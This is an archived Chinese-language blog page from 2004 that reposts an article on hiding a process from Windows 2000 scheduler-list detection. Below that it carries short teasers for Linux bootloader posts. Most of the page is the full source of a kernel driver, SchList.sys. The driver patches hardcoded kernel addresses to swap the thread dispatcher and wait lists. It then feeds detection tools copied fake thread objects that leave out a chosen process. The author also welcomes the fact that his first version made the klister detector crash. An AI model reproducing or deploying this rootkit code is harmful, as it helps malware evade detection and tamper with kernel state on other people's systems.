洛阳铲的日志

2004年07月5日

绕过内核调度链表进程检测

Filed under: Security_Resource — HackGou @ 23:39

绕过内核调度链表进程检测

创建时间:2004-04-22 更新时间:2004-04-22
文章属性:原创
文章提交:SoBeIt (kinsephi_at_hotmail.com)

绕过内核调度链表进程检测 SoBeIt

一般隐藏进程的方法实际是无法彻底隐藏进程,因为内核调度是基于线程的。下面介绍我实现的一种更隐蔽的隐藏进程的方法。我们知道线程调度内核使用3条调度链表KiWaitInListHead=0x80482258 、KiWaitOutListhead=0x80482808 、KiDispatcherReadyListHead=0x804822e0(这个链表实际是32个LIST_ENTRY的数组,对应32个优先级),事实上还有几个平衡集管理器的链表KiProcessOutSwapListHead 、KiProcessOutSwapListHead 、KiStackInSwapListHead含有进程和线程信息,但它们在绝大多数时候是空链表,因为平衡集管理器只有在页面出错率太高或者空闲列表太少时才被唤醒执行实际工作,所以链表中不会有太多项,而且很快就被执行完。

首先要先在非分页内存中分配对应的LIST_ENTRY结构,然后将原始调度链表内容移动到新链表。在操作链表时要先把IRQL提升到Dispatcher Level,然后请求一个自旋锁.操作结束后释放自旋锁并恢复IRQL(内核里任何涉及到操作内核调度数据结构的例程都是先调用KiLockDispatcherDatabase,操作结束后调用KiUnlockDispatcherDatabase,原理大体和前面说到的操作相似,不同的就是KiUnlockDispatcherDatabase在释放自旋锁并恢复IRQL后若有就绪线程的话就进行环境切换)。系统中用到KiWaitInListHead的例程:KeWaitForSingleObject()、 KeWaitForMultipleObject()、 KeDelayExecutionThread、 KiOutSwapKernelStacks。用到KiWaitOutListHead的例程和KiWaitInListHead的一样。前3个例程都调用了宏KiInsertWaitList。最后一个由于调用了宏RemoveEntryList,所以汇编代码会产生2个0x8048280c。如果不连它们一起替换的话就会出错(系统可以正常运行一段时间,但是在调度新线程时就会重启,因为原链表已经完全乱了-_-)。使用KiDispatcherReadyListHead的例程有:KeSetAffinityThread、KiFindReadyThread、KiReadyThread、KiSetPriorityThread、NtYieldExecution、KiScanReadyQueues、KiSwapThread。值得同样注意的是KiSetPriorityThread也调用了RemoveEntryList宏,所以也会产生1个0x804822e4。还好它们并不难找,因为如果有它们都跟在原始链表地址后面。(因为宏RemoveEntryList不会单独调用)。然后把系统中所有用到的这些调度链表全换成新的链表。替换后再把新的链表复制回旧链表,以达到欺骗检测程序的目的。事实上,我开始时只是简单的复制链表,结果运行klister时机器重启了,真是意外收获啊,这样大数普通用户会认为是klister出错了:)因为运行klister时系统又经过了无数次线程调度,原来的链表顺序已经完全混乱了,读取链表就会陷入死循环,因为永远读不到链表头。为了避免这种问题我们就需要分配新的线程对象来欺骗检测系统(因为分配的对象只是为了欺骗,它们并不用于实际用途,所以为了节省点内存空间我分配的结构比真的结构要小),接着就是每隔一段时间复制一份链表,复制过程中去掉我们要隐藏的项。由于所有的地址我都是硬编码的,所以只适用于Windows2000 Build 2195 SP4 中文版,有兴趣的朋友可以自己替换地址移植到WinXP/Win2003下。下面是代码:

#include “ntddk.h”
#include “ntifs.h”
#include “stdio.h”
#include “stdarg.h”

typedef struct _DEVICE_EXTENSION {
HANDLE hWorkerThread;
KEVENT ExitEvent;
PDEVICE_OBJECT pDeviceObject;
BOOLEAN bExit;
}DEVICE_EXTENSION, *PDEVICE_EXTENSION;

typedef struct _FAKE_ETHREAD{
DISPATCHER_HEADER Header;
LIST_ENTRY MutantListHead;
PVOID InitialStack;
PVOID StackLimit;
struct _TEB *Teb;
PVOID TlsArray;
PVOID KernelStack;
BOOLEAN DebugActive;
UCHAR State;
USHORT Alerted;
UCHAR Iopl;
UCHAR NpxState;
UCHAR Saturation;
UCHAR Priority;
KAPC_STATE ApcState;
ULONG ContextSwitches;
NTSTATUS WaitStatus;
UCHAR WaitIrql;
UCHAR WaitMode;
UCHAR WaitNext;
UCHAR WaitReason;
PKWAIT_BLOCK WaitBlockList;
LIST_ENTRY WaitListEntry;
ULONG WaitTime;
UCHAR BasePriority;
UCHAR DecrementCount;
UCHAR PriorityDecrement;
UCHAR Quantum;
KWAIT_BLOCK WaitBlock[4];
ULONG LegoData;
ULONG KernelApcDisable;
ULONG UserAffinity;
BOOLEAN SystemAffinityActive;
UCHAR PowerState;
UCHAR NpxIrql;
UCHAR Pad[1];
PSERVICE_DESCRIPTOR_TABLE ServiceDescriptorTable;
PKQUEUE Queue;
KSPIN_LOCK ApcQueueLock;
KTIMER Timer;
LIST_ENTRY QueueListEntry;
ULONG Affinity;
BOOLEAN Preempted;
BOOLEAN ProcessReadyQueue;
BOOLEAN KernelStackResident;
UCHAR NextProcessor;
PVOID CallbackStack;
PVOID Win32Thread;
PKTRAP_FRAME TrapFrame;
PKAPC_STATE ApcStatePointer[2];
UCHAR PreviousMode;
BOOLEAN EnableStackSwap;
BOOLEAN LargeStack;
UCHAR ResourceIndex;
ULONG KernelTime;
ULONG UserTime;
KAPC_STATE SavedApcState;
BOOLEAN Alertable;
UCHAR ApcStateIndex;
BOOLEAN ApcQueueable;
BOOLEAN AutoAlignment;
PVOID StackBase;
KAPC SuspendApc;
KSEMAPHORE SuspendSemaphore;
LIST_ENTRY ThreadListEntry;
UCHAR FreezeCount;
UCHAR SuspendCount;
UCHAR IdealProcessor;
BOOLEAN DisableBoost;
LARGE_INTEGER CreateTime;
union {
LARGE_INTEGER ExitTime;
LIST_ENTRY LpcReplyChain;
};
union {
NTSTATUS ExitStatus;
PVOID OfsChain;
};
LIST_ENTRY PostBlockList;
LIST_ENTRY TerminationPortList;
KSPIN_LOCK ActiveTimerListLock;
LIST_ENTRY ActiveTimerListHead;
CLIENT_ID Cid;
}FAKE_ETHREAD, *PFAKE_ETHREAD;

VOID ReplaceList(PVOID pContext)
{
PLIST_ENTRY pFirstEntry, pLastEntry, pPrevEntry, pNextEntry, pEntry;
PLIST_ENTRY pNewKiDispatcherReadyListHead,pNewKiWaitInListHead,pNewKiWaitOutListHead;
PLIST_ENTRY pKiDispatcherReadyListHead,pKiWaitInListHead,pKiWaitOutListHead;
int i, ChangeList;
int SysKiWaitInListHeadAddr[] = {0x8042d90b, 0x8042db78, 0x8042de57, 0x8042f176, 0x8046443b, 0x80464441, 0x804644d6};
int SysKiWaitOutListHeadAddr[] = {0x8042d921, 0x8042db90, 0x8042de6f, 0x8042f18e, 0x80464494};
int SysKiWaitOutListHeadAdd4Addr[] = {0x8046448e, 0x804644a1};
int SysKiDispatcherReadyListHeadAddr[] = {0x804041ff, 0x8042faad, 0x804313de, 0x80431568, 0x8043164f, 0x80431672, 0x8043379f, 0x8046462d};
int SysKiDispatcherReadyListHeadAdd4Addr = 0x8043166b;
KIRQL OldIrql;
KSPIN_LOCK DpcSpinLock;
LARGE_INTEGER DelayTime;
NTSTATUS Status;
PDEVICE_EXTENSION pDevExt;
PEPROCESS pEPROCESS;
PETHREAD pETHREAD;
ULONG PID;
PFAKE_ETHREAD pFakeETHREAD;

pDevExt = (PDEVICE_EXTENSION)pContext;
DelayTime.QuadPart = -(10 * 1000 * 10000);
pKiWaitInListHead = (PLIST_ENTRY)0x80482258;
pKiWaitOutListHead = (PLIST_ENTRY)0x80482808;
pKiDispatcherReadyListHead = (PLIST_ENTRY)0x804822e0;

pNewKiWaitInListHead = (PLIST_ENTRY)ExAllocatePool(NonPagedPool,sizeof(LIST_ENTRY));
pNewKiWaitOutListHead = (PLIST_ENTRY)ExAllocatePool(NonPagedPool, sizeof(LIST_ENTRY));
pNewKiDispatcherReadyListHead = (PLIST_ENTRY)ExAllocatePool(NonPagedPool, 32 * sizeof(LIST_ENTRY));

InitializeListHead(pNewKiWaitInListHead);
InitializeListHead(pNewKiWaitOutListHead);

for(i = 0; i < 32; i++)
{
InitializeListHead(&pNewKiDispatcherReadyListHead[i]);
}

KeInitializeSpinLock(&DpcSpinLock);

__try
{
OldIrql = KeRaiseIrqlToDpcLevel();
KeAcquireSpinLockAtDpcLevel(&DpcSpinLock);

pFirstEntry = pKiWaitInListHead->Flink;
pLastEntry = pKiWaitInListHead->Blink;

pNewKiWaitInListHead->Flink = pFirstEntry;
pNewKiWaitInListHead->Blink = pLastEntry;

pFirstEntry->Blink = pNewKiWaitInListHead;
pLastEntry->Flink = pNewKiWaitInListHead;

for(i = 0; i < 7; i++)
{
ChangeList = SysKiWaitInListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pNewKiWaitInListHead;
DbgPrint(“NewWaitIn:%8x”,*(PULONG)ChangeList);
}

pFirstEntry = pKiWaitOutListHead->Flink;
pLastEntry = pKiWaitOutListHead->Blink;

pNewKiWaitOutListHead->Flink = pFirstEntry;
pNewKiWaitOutListHead->Blink = pLastEntry;

pFirstEntry->Blink = pNewKiWaitOutListHead;
pLastEntry->Flink = pNewKiWaitOutListHead;

for(i = 0; i < 5; i++)
{
ChangeList = SysKiWaitOutListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pNewKiWaitOutListHead;
DbgPrint(“NewWaitOut:%8x”,*(PULONG)ChangeList);
}

for(i = 0; i < 2; i++)
{
ChangeList = SysKiWaitOutListHeadAdd4Addr[i];
*(PULONG)ChangeList = (ULONG)pNewKiWaitOutListHead + 0x4;
DbgPrint(“NewWaitOut+4:%8x”,*(PULONG)ChangeList);
}

for(i = 0; i < 32; i++)
{
if(pKiDispatcherReadyListHead[i].Flink != &pKiDispatcherReadyListHead[i])
{
pFirstEntry = pKiDispatcherReadyListHead[i].Flink;
pLastEntry = pKiDispatcherReadyListHead[i].Blink;

pNewKiDispatcherReadyListHead[i].Flink = pFirstEntry;
pNewKiDispatcherReadyListHead[i].Blink = pLastEntry;

pFirstEntry->Blink = &pNewKiDispatcherReadyListHead[i];
pLastEntry->Flink = &pNewKiDispatcherReadyListHead[i];
}
}

for(i = 0; i < 8; i++)
{
ChangeList = SysKiDispatcherReadyListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pNewKiDispatcherReadyListHead;
DbgPrint(“NewDispatcher:%8x”, *(PULONG)ChangeList);
}

ChangeList = SysKiDispatcherReadyListHeadAdd4Addr;
*(PULONG)ChangeList = (ULONG)pNewKiDispatcherReadyListHead + 0x4;
DbgPrint(“NewDispatcher+4:%8x”, *(PULONG)ChangeList);

KeReleaseSpinLockFromDpcLevel(&DpcSpinLock);
KeLowerIrql(OldIrql);

for(;;)
{
InitializeListHead(pKiWaitInListHead);
InitializeListHead(pKiWaitOutListHead);

for(i = 0; i < 32; i++)
{
InitializeListHead(&pKiDispatcherReadyListHead[i]);
}

for(pEntry = pNewKiWaitInListHead->Flink;
pEntry && pEntry != pNewKiWaitInListHead; pEntry = pEntry->Flink)
{
pETHREAD = (PETHREAD)(((PCHAR)pEntry)-0x5c);
pEPROCESS = (PEPROCESS)(pETHREAD->Tcb.ApcState.Process);
PID = *(PULONG)(((PCHAR)pEPROCESS)+0x9c);

if(PID == 0x8)
{
continue;
}

pFakeETHREAD = ExAllocatePool(PagedPool, sizeof(FAKE_ETHREAD));

memcpy(pFakeETHREAD, pETHREAD, sizeof(FAKE_ETHREAD));
InsertHeadList(pKiWaitInListHead, &pFakeETHREAD->WaitListEntry);
}

for(pEntry = pNewKiWaitOutListHead->Flink;
pEntry && pEntry != pNewKiWaitOutListHead; pEntry = pEntry->Flink)
{
pETHREAD = (PETHREAD)(((PCHAR)pEntry)-0x5c);
pEPROCESS = (PEPROCESS)(pETHREAD->Tcb.ApcState.Process);
PID = *(PULONG)(((PCHAR)pEPROCESS)+0x9c);

if(PID == 0x8)
{
continue;
}

pFakeETHREAD = ExAllocatePool(PagedPool, sizeof(FAKE_ETHREAD));

memcpy(pFakeETHREAD, pETHREAD, sizeof(FAKE_ETHREAD));
InsertHeadList(pKiWaitOutListHead, &pFakeETHREAD->WaitListEntry);
}

for(i = 0; i < 32 ; i++)
{
for(pEntry = pNewKiDispatcherReadyListHead[i].Flink;
pEntry && pEntry != &pNewKiDispatcherReadyListHead[i]; pEntry = pEntry->Flink)
{
pETHREAD = (PETHREAD)(((char *)pEntry)-0x5c);
pEPROCESS = (PEPROCESS)(pETHREAD->Tcb.ApcState.Process);
PID = *(ULONG *)(((char *)pEPROCESS)+0x9c);

if(PID == 0x8)
{
continue;
}

pFakeETHREAD = ExAllocatePool(PagedPool, sizeof(FAKE_ETHREAD));

memcpy(pFakeETHREAD, pETHREAD, sizeof(FAKE_ETHREAD));
InsertHeadList(&pKiDispatcherReadyListHead[i], &pFakeETHREAD->WaitListEntry);
}
}

DbgPrint(“pKiWaitInListHead->Flink:%8x”, pKiWaitInListHead->Flink);
DbgPrint(“pKiWaitInListHead->Blink:%8x”, pKiWaitInListHead->Blink);
DbgPrint(“pKiWaitOutListHead->Flink:%8x”, pKiWaitOutListHead->Flink);
DbgPrint(“pKiWaitOutListHead->Blink:%8x”, pKiWaitOutListHead->Blink);
DbgPrint(“pKiDispatcherReadyListHead[0].Flink:%8x”, pKiDispatcherReadyListHead[0].Flink);
DbgPrint(“pKiDispatcherReadyListHead[0].Blink:%8x”, pKiDispatcherReadyListHead[0].Blink);

Status = KeWaitForSingleObject(&pDevExt->ExitEvent,
Executive,
KernelMode,
FALSE,
&DelayTime);

if(Status == STATUS_SUCCESS)
break;
}

OldIrql = KeRaiseIrqlToDpcLevel();
KeAcquireSpinLockAtDpcLevel(&DpcSpinLock);

pFirstEntry = pNewKiWaitInListHead->Flink;
pLastEntry = pNewKiWaitInListHead->Blink;

pKiWaitInListHead->Flink = pFirstEntry;
pKiWaitInListHead->Blink = pLastEntry;

pFirstEntry->Blink = pKiWaitInListHead;
pLastEntry->Flink = pKiWaitInListHead;

for(i = 0; i < 7; i++)
{
ChangeList = SysKiWaitInListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pKiWaitInListHead;
DbgPrint(“OrgWaitIn:%8x”,*(PULONG)ChangeList);
}

pFirstEntry = pNewKiWaitOutListHead->Flink;
pLastEntry = pNewKiWaitOutListHead->Blink;

pKiWaitOutListHead->Flink = pFirstEntry;
pKiWaitOutListHead->Blink = pLastEntry;

pFirstEntry->Blink = pKiWaitOutListHead;
pLastEntry->Flink = pKiWaitOutListHead;

for(i = 0; i < 5; i++)
{
ChangeList = SysKiWaitOutListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pKiWaitOutListHead;
DbgPrint(“OrgWaitOut:%8x”,*(PULONG)ChangeList);
}

for(i = 0; i < 2; i++)
{
ChangeList = SysKiWaitOutListHeadAdd4Addr[i];
*(PULONG)ChangeList = (ULONG)pKiWaitOutListHead + 0x4;
DbgPrint(“OrgWaitOut+4:%8x”,*(PULONG)ChangeList);
}

for(i = 0; i < 32; i++)
{
if(pNewKiDispatcherReadyListHead[i].Flink != &pNewKiDispatcherReadyListHead[i])
{
pFirstEntry = pNewKiDispatcherReadyListHead[i].Flink;
pLastEntry = pNewKiDispatcherReadyListHead[i].Blink;

pKiDispatcherReadyListHead[i].Flink = pFirstEntry;
pKiDispatcherReadyListHead[i].Blink = pLastEntry;

pFirstEntry->Blink = &pKiDispatcherReadyListHead[i];
pLastEntry->Flink = &pKiDispatcherReadyListHead[i];
}
}

for(i = 0; i < 8; i++)
{
ChangeList = SysKiDispatcherReadyListHeadAddr[i];
*(PULONG)ChangeList = (ULONG)pKiDispatcherReadyListHead;
DbgPrint(“NewDispatcher:%8x”, *(PULONG)ChangeList);
}

ChangeList = SysKiDispatcherReadyListHeadAdd4Addr;
*(PULONG)ChangeList = (ULONG)pKiDispatcherReadyListHead + 0x4;
DbgPrint(“NewDispatcher+4:%8x”, *(PULONG)ChangeList);

KeReleaseSpinLockFromDpcLevel(&DpcSpinLock);
KeLowerIrql(OldIrql);

ExFreePool(pNewKiWaitInListHead);
ExFreePool(pNewKiWaitOutListHead);
ExFreePool(pNewKiDispatcherReadyListHead);

DbgPrint(“Now terminate system thread.\n”);

PsTerminateSystemThread(STATUS_SUCCESS);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
DbgPrint(“Error occured in ReplaceList().\n”);
}

return;
}

NTSTATUS DriverUnload(IN PDRIVER_OBJECT pDriObj)
{
WCHAR DevLinkBuf[] = L”\\??\\SchList”;
UNICODE_STRING uniDevLink;
PDEVICE_OBJECT pDevObj;
PVOID pWorkerThread;
PDEVICE_EXTENSION pDevExt;
NTSTATUS Status;
LARGE_INTEGER WaitTime;

WaitTime.QuadPart = -(8 * 1000 * 10000);
pDevObj = pDriObj->DeviceObject;
pDevExt = (PDEVICE_EXTENSION)pDevObj->DeviceExtension;
pDevExt->bExit = TRUE;

__try
{
KeSetEvent(&pDevExt->ExitEvent, 0, FALSE);
KeDelayExecutionThread(KernelMode, FALSE, &WaitTime);

DbgPrint(“SchList:Worker thread killed.\n”);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
DbgPrint(“Error occured in Unload().\n”);
}

if(pDevObj)
{
RtlInitUnicodeString(&uniDevLink,DevLinkBuf);
IoDeleteSymbolicLink(&uniDevLink);
IoDeleteDevice(pDevObj);

DbgPrint((“SchList.sys:Driver Unload successfully.\n”));

return STATUS_SUCCESS;
}

DbgPrint((“SchList.sys:Detect device failed.\n”));

return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriObj,
IN PUNICODE_STRING puniRegPath)
{
WCHAR DevNameBuf[] = L”\\Device\\SchList”;
UNICODE_STRING uniDevName;
WCHAR DevLinkBuf[] = L”\\??\\SchList”;
UNICODE_STRING uniDevLink;
PDEVICE_OBJECT pDevObj;
PDEVICE_EXTENSION pDevExt;
NTSTATUS status;
int pKiDispatcherReadyListHeadAddr = 0x804822e0;
int pKiWaitInListHeadAddr = 0x80482258;
int pKiWaitOutListHeadAddr = 0x80482808;

DbgPrint((“SchList:Enter DriverEntry.\n”));

RtlInitUnicodeString(&uniDevName,DevNameBuf);

status = IoCreateDevice(pDriObj,
sizeof(DEVICE_EXTENSION),
&uniDevName,
FILE_DEVICE_UNKNOWN,
0,
FALSE,
&pDevObj);

if(!NT_SUCCESS(status))
{
DbgPrint((“SchList.sys:Create device failed.\n”));

return status;
}

DbgPrint((“SchList.sys:Create device successfully.\n”));

pDevExt = (PDEVICE_EXTENSION) pDevObj->DeviceExtension;
pDevExt->pDeviceObject = pDevObj;

KeInitializeEvent(&pDevExt->ExitEvent, SynchronizationEvent, 0);
RtlInitUnicodeString(&uniDevLink,DevLinkBuf);

status = IoCreateSymbolicLink(&uniDevLink,
&uniDevName);

if(!NT_SUCCESS(status))
{
DbgPrint((“SchList.sys:Create symbolic link failed.\n”));

return status;
}

pDriObj->DriverUnload = DriverUnload;

PsCreateSystemThread(&pDevExt->hWorkerThread,
(ACCESS_MASK)0L,
NULL,
(HANDLE)0L,
NULL,
ReplaceList,
pDevExt);

return STATUS_SUCCESS;
}

—–

2004年07月2日

关于多系统引导之ntldr篇

Filed under: Linux — HackGou @ 11:10

 

好了 grub也所得差不多了。现在剩下个ntldr了。现在来说说它。
使用ntldr来引导9X/ME,2K/XP是不用说的。它自己会配置好。但是如何使用它来引导linux呢 ?

(more…)

关于多系统引导之grub篇

Filed under: Linux — HackGou @ 11:08

 

说完了lilo了,该说说grub了。
由于我使用的debian可以简单的使用
atp-get install grub
grub-install
update-grub来安装,而对于其他系统则不一定行,所以介绍最通行的.tar.gz安装及配置方法。

(more…)

关于多系统引导之lilo篇

Filed under: Linux — HackGou @ 11:07

 

关于多系统引导之lilo篇
在linux版呆久了,发现一个问题:问关于双系统启动的人很多,
现在大家对linux热爱的同时,又舍不得放弃win*。
有没有什么比较好的解决方法呢 ?

(more…)

Windows Resource Kit介绍(一)

Filed under: Security_Resource — HackGou @ 10:38

 
看了gouy2k的Windows * Resource Kit的介绍原来大家的反响挺大的,也来个帖子凑凑热闹:
  Windows * Resource Kit望文生义就是windows资源工具包。它是M$提供的从PC平台到CE、从都win98到win2003的强力系统管理工具,可以说是系统管理员的必备工具,(也是H一族的必须武器)。当然天下没有完全免费的午餐:在2000版中的有些工具是需要charge的。对于我们这些平头百姓来说动辄XXXX$的东西可不是支付得起得。让人欣慰得是2003版得已经是free的了。gouy2k的2003版本是在sometips上的。看大家的反应好象有人没法下载,大家可以到这儿下载 (more…)

Powered by WordPress